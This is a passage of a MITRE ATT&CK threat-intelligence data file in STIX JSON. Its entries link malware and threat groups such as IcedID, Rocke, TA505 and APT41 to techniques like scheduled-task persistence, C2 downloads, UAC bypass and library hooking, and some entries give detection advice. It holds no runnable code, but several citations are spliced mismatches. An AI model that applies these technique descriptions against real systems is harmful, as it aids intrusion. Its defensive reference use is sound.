"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--499d7aed-5889-4f40-a688-660f976dd112", "type": "relationship", "created": "2020-07-15T20:10:03.919Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Juniper IcedID June 2020", "url": "https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware", "description": "Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020."}], "modified": "2020-07-15T20:10:03.919Z", "description": "[IcedID](https://attack.mitre.org/software/S0483) has created a scheduled task that executes every hour to establish persistence.(Citation: Juniper IcedID June 2020)", "relationship_type": "uses", "source_ref": "malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--499da978-fa64-469e-901a-0d5db2b8b2f3", "type": "relationship", "created": "2022-03-30T14:26:51.834Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.834Z", "description": "Monitor for third-party application logging, messaging, and/or other artifacts that may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack. Externally monitor the availability of services that may be targeted by an Endpoint DoS.", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Sucuri BIND9 August 2015", "description": "Cid, D.. (2015, August 2). BIND9 \u2013 Denial of Service Exploit in the Wild. Retrieved April 26, 2019.", "url": "https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--49a11d2f-7945-4603-b409-d66420b94533", "type": "relationship", "created": "2021-03-05T18:54:56.560Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Zscaler Higaisa 2020", "url": "https://www.zscaler.com/blogs/security-research/return-higaisa-apt", "description": "Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."}], "modified": "2021-04-22T02:12:44.196Z", "description": "[Higaisa](https://attack.mitre.org/groups/G0126) discovered system proxy settings and used them if available.(Citation: Zscaler Higaisa 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3", "target_ref": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--49a68076-c596-412d-a8af-3e238dfef960", "type": "relationship", "created": "2020-05-26T16:17:59.687Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Rocke August 2018", "url": "https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html", "description": "Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."}, {"source_name": "Unit 42 Rocke January 2019", "url": "https://unit42.paloaltonetworks.com/malware-used-by-rocke-group-evolves-to-evade-detection-by-cloud-security-products/", "description": "Xingyu, J.. (2019, January 17). Malware Used by Rocke Group Evolves to Evade Detection by Cloud Security Products. Retrieved May 26, 2020."}, {"source_name": "Anomali Rocke March 2019", "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang", "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}], "modified": "2020-05-26T16:17:59.687Z", "description": "[Rocke](https://attack.mitre.org/groups/G0106) installed a cron job that downloaded and executed files from the C2.(Citation: Talos Rocke August 2018)(Citation: Unit 42 Rocke January 2019)(Citation: Anomali Rocke March 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad", "target_ref": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--49aeba9e-9ae9-4eb2-873e-b8ab4f8ab347", "type": "relationship", "created": "2020-02-18T18:03:37.709Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object", "description": "Brower, N., Lich, B. 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(2016, January 29). Malicious Office files dropping Kasidet and Dridex. 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Retrieved December 29, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used `rundll32.exe` to execute malicious scripts and malware on a victim's network.(Citation: Talos Kimsuky Nov 2021)", "modified": "2022-04-12T15:01:21.418Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--49b63fca-e16a-446e-89fc-2b899f8420bf", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 VERMIN Jan 2018", "description": "Lancaster, T., Cortes, J. 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(2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}], "modified": "2020-05-27T13:22:06.772Z", "description": "[Aria-body](https://attack.mitre.org/software/S0456) has used HTTP in C2 communications.(Citation: CheckPoint Naikon May 2020)", "relationship_type": "uses", "source_ref": "malware--3161d76a-e2b2-4b97-9906-24909b735386", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--49be75c9-8484-492e-9ebc-f81d2e203e4e", "type": "relationship", "created": "2020-07-28T17:59:34.649Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Promethium June 2020", "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html", "description": "Mercer, W. et al. (2020, June 29). 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Retrieved July 20, 2020."}], "modified": "2020-07-30T18:52:23.949Z", "description": "[PROMETHIUM](https://attack.mitre.org/groups/G0056) has attempted to get users to execute compromised installation files for legitimate software including compression applications, security software, browsers, file recovery applications, and other tools and utilities.(Citation: Talos Promethium June 2020)(Citation: Bitdefender StrongPity June 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--49c17cdc-72a5-442d-b153-2cc9f9cf059d", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Chaos Stolen Backdoor", "description": "Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. 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(2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", "url": "https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}], "modified": "2021-06-16T15:50:05.386Z", "description": "[zwShell](https://attack.mitre.org/software/S0350) has deleted itself after creating a service as well as deleted a temporary file when the system reboots.(Citation: McAfee Night Dragon)", "relationship_type": "uses", "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--49c5bbcf-7ac3-406f-8b58-2b4c00b2c41e", "type": "relationship", "created": "2020-06-19T19:08:40.398Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Valak May 2020", "url": "https://www.cybereason.com/blog/valak-more-than-meets-the-eye", "description": "Salem, E. et al. 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Retrieved July 28, 2020."}], "modified": "2020-08-11T21:15:35.458Z", "description": "[RDAT](https://attack.mitre.org/software/S0495) can take a screenshot on the infected system.(Citation: Unit42 RDAT July 2020)\t", "relationship_type": "uses", "source_ref": "malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--49d6508c-f350-4376-ba32-f64693d7fd10", "type": "relationship", "created": "2019-05-28T18:49:59.356Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. 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Retrieved May 28, 2019.", "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware", "source_name": "Cybereason TA505 April 2019"}, {"description": "Proofpoint Staff. (2018, July 19). TA505 Abusing SettingContent-ms within PDF files to Distribute FlawedAmmyy RAT. Retrieved April 19, 2019.", "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat", "source_name": "ProofPoint SettingContent-ms July 2018"}, {"description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. 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Retrieved May 29, 2020."}, {"source_name": "IBM TA505 April 2020", "url": "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/", "description": "Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."}], "modified": "2020-06-01T15:46:48.052Z", "description": "[TA505](https://attack.mitre.org/groups/G0092) has used lures to get users to enable content in malicious attachments and execute malicious files contained in archives. For example, [TA505](https://attack.mitre.org/groups/G0092) makes their malware look like legitimate Microsoft Word documents, .pdf and/or .lnk files. (Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)(Citation: Cybereason TA505 April 2019)(Citation: ProofPoint SettingContent-ms July 2018)(Citation: Proofpoint TA505 Mar 2018)(Citation: Trend Micro TA505 June 2019)(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--49dbde7a-a8ac-4d86-8216-1055f7536467", "type": "relationship", "created": "2019-09-24T14:19:05.140Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos ZxShell Oct 2014", "url": "https://blogs.cisco.com/security/talos/opening-zxshell", "description": "Allievi, A., et al. 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Retrieved September 24, 2019."}], "modified": "2022-01-05T16:34:01.838Z", "description": "[ZxShell](https://attack.mitre.org/software/S0412) has a command to open a file manager and explorer on the system.(Citation: Talos ZxShell Oct 2014) ", "relationship_type": "uses", "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--49dcbb09-c4d8-4ade-8429-94afe0b9747b", "type": "relationship", "created": "2020-08-04T15:35:30.379Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "G Data Sodinokibi June 2019", "url": "https://www.gdatasoftware.com/blog/2019/06/31724-strange-bits-sodinokibi-spam-cinarat-and-fake-g-data", "description": "Han, Karsten. (2019, June 4). Strange Bits: Sodinokibi Spam, CinaRAT, and Fake G DATA. Retrieved August 4, 2020."}, {"source_name": "Picus Sodinokibi January 2020", "url": "https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware", "description": "Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. 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(2021, August 23). New variant of Konni malware used in campaign targetting Russia. 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Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--49eb0604-2dee-4dcd-8029-cdd478033749", "type": "relationship", "created": "2019-04-17T13:46:38.895Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Astaroth Feb 2019", "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research", "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019."}], "modified": "2019-09-09T19:23:37.338Z", "description": "[Astaroth](https://attack.mitre.org/software/S0373) can be loaded through regsvr32.exe.(Citation: Cybereason Astaroth Feb 2019)", "relationship_type": "uses", "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--49eef071-24e0-456b-b4e7-618ab601c6f4", "type": "relationship", "created": "2020-08-25T20:11:53.268Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NSA/FBI Drovorub August 2020", "url": "https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF", "description": "NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020."}], "modified": "2020-08-25T20:11:53.268Z", "description": "[Drovorub](https://attack.mitre.org/software/S0502) can execute arbitrary commands as root on a compromised system.(Citation: NSA/FBI Drovorub August 2020)", "relationship_type": "uses", "source_ref": "malware--99164b38-1775-40bc-b77b-a2373b14540a", "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--49efe6c7-aec6-4e54-bc7d-212816e23347", "type": "relationship", "created": "2019-01-29T18:44:05.140Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "DigiTrust Agent Tesla Jan 2017", "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/", "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018."}, {"description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.", "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html", "source_name": "Talos Agent Tesla Oct 2018"}], "modified": "2020-03-18T19:25:30.321Z", "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can access the victim\u2019s webcam and record video.(Citation: DigiTrust Agent Tesla Jan 2017)(Citation: Talos Agent Tesla Oct 2018)", "relationship_type": "uses", "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--49f2c182-bd69-4874-9102-b5fd1acac59c", "type": "relationship", "created": "2017-05-31T21:33:27.033Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mandiant Operation Ke3chang November 2014", "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", "url": "https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"}], "modified": "2021-11-01T21:12:14.977Z", "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) transferred compressed and encrypted RAR files containing exfiltration through the established backdoor command and control channel during operations.(Citation: Mandiant Operation Ke3chang November 2014)", "relationship_type": "uses", "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--49f2ec3b-a9bf-48c3-b3f0-a80a0d70a2ac", "created": "2024-02-22T22:46:20.423Z", "revoked": false, "external_references": [{"source_name": "Rostovcev APT41 2021", "description": "Nikita Rostovcev. (2022, August 18). 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(n.d.). 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Retrieved September 2, 2021."}], "modified": "2021-10-15T14:43:12.247Z", "description": "[ObliqueRAT](https://attack.mitre.org/software/S0644) can gain persistence by a creating a shortcut in the infected user's Startup directory.(Citation: Talos Oblique RAT March 2021)", "relationship_type": "uses", "source_ref": "malware--5864e59f-eb4c-43ad-83b2-b5e4fae056c9", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4a358258-d616-4f15-aead-d4e6f6153aae", "type": "relationship", "created": "2020-12-22T18:36:12.313Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Molerats Dec 2020", "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", "description": "Cybereason Nocturnus Team. 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Retrieved December 28, 2020."}], "modified": "2020-12-28T21:34:37.877Z", "description": "[DropBook](https://attack.mitre.org/software/S0547) can collect the names of all files and folders in the Program Files directories.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020) ", "relationship_type": "uses", "source_ref": "malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4a419b18-5fb2-43a0-8c0a-6521b8d9de63", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cisco H1N1 Part 2", "description": "Reynolds, J.. (2016, September 14). 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Retrieved September 2, 2021."}], "modified": "2021-09-08T14:04:10.404Z", "description": "[Crimson](https://attack.mitre.org/software/S0115) has the ability to determine the date and time on a compromised host.(Citation: Kaspersky Transparent Tribe August 2020)", "relationship_type": "uses", "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4a5d8511-633c-4429-ac64-37a4815bf545", "type": "relationship", "created": "2020-06-11T16:18:16.779Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. 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Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.657Z", "description": "[Avenger](https://attack.mitre.org/software/S0473) has the ability to use [Tasklist](https://attack.mitre.org/software/S0057) to identify running processes.(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "malware--36ede314-7db4-4d09-b53d-81bbfbe5f6f8", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4a60552c-4abb-4310-be2c-191042ceb637", "type": "relationship", "created": "2020-11-09T21:54:38.795Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT BLINDINGCAN Aug 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", "description": "US-CERT. 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Retrieved August 19, 2020."}], "modified": "2020-11-09T21:54:38.795Z", "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has been signed with code-signing certificates such as CodeRipper.(Citation: US-CERT BLINDINGCAN Aug 2020)", "relationship_type": "uses", "source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4a607e33-3970-4605-af5e-36be82bd142a", "type": "relationship", "created": "2021-04-07T18:07:47.871Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Hildegard Malware", "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/", "description": "Chen, J. et al. (2021, February 3). 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Retrieved April 5, 2021."}], "modified": "2021-04-07T18:07:47.871Z", "description": "[Hildegard](https://attack.mitre.org/software/S0601) has modified /etc/ld.so.preload to intercept shared library import functions.(Citation: Unit 42 Hildegard Malware)", "relationship_type": "uses", "source_ref": "malware--40a1b8ec-7295-416c-a6b1-68181d86f120", "target_ref": "attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4a6248d4-4fa1-404a-abed-84e9b7c32dbe", "type": "relationship", "created": "2017-05-31T21:33:27.045Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/the-epic-turla-operation/65545/", "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). 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(2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}, {"source_name": "FireEye FiveHands April 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html", "description": "McLellan, T.  and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}, {"source_name": "CISA AR21-126A FIVEHANDS May 2021", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", "description": "CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. 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Retrieved June 4, 2019."}], "modified": "2019-09-09T19:12:32.839Z", "description": "[APT37](https://attack.mitre.org/groups/G0067) has a function in the initial dropper to bypass Windows UAC in order to execute the next payload with higher privileges.(Citation: Securelist ScarCruft May 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4a942244-9b88-43d0-9a1c-c0277e7903e8", "type": "relationship", "created": "2021-01-19T21:06:07.795Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec RAINDROP January 2021", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021."}, {"source_name": "Microsoft Deep Dive Solorigate January 2021", "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."}], "modified": "2021-01-25T18:23:23.380Z", "description": "[Raindrop](https://attack.mitre.org/software/S0565) was installed under names that resembled legitimate Windows file and directory names.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)", "relationship_type": "uses", "source_ref": "malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4a959425-4d43-4969-9a47-768894a3afaa", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Emissary Trojan Feb 2016", "description": "Falcone, R. and Miller-Osborn, J. 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Retrieved April 28, 2020."}], "modified": "2020-05-01T13:57:23.349Z", "description": "[APT41](https://attack.mitre.org/groups/G0096) used HTTP to download payloads for CVE-2019-19781 and CVE-2020-10189 exploits.(Citation: FireEye APT41 March 2020) ", "relationship_type": "uses", "source_ref": 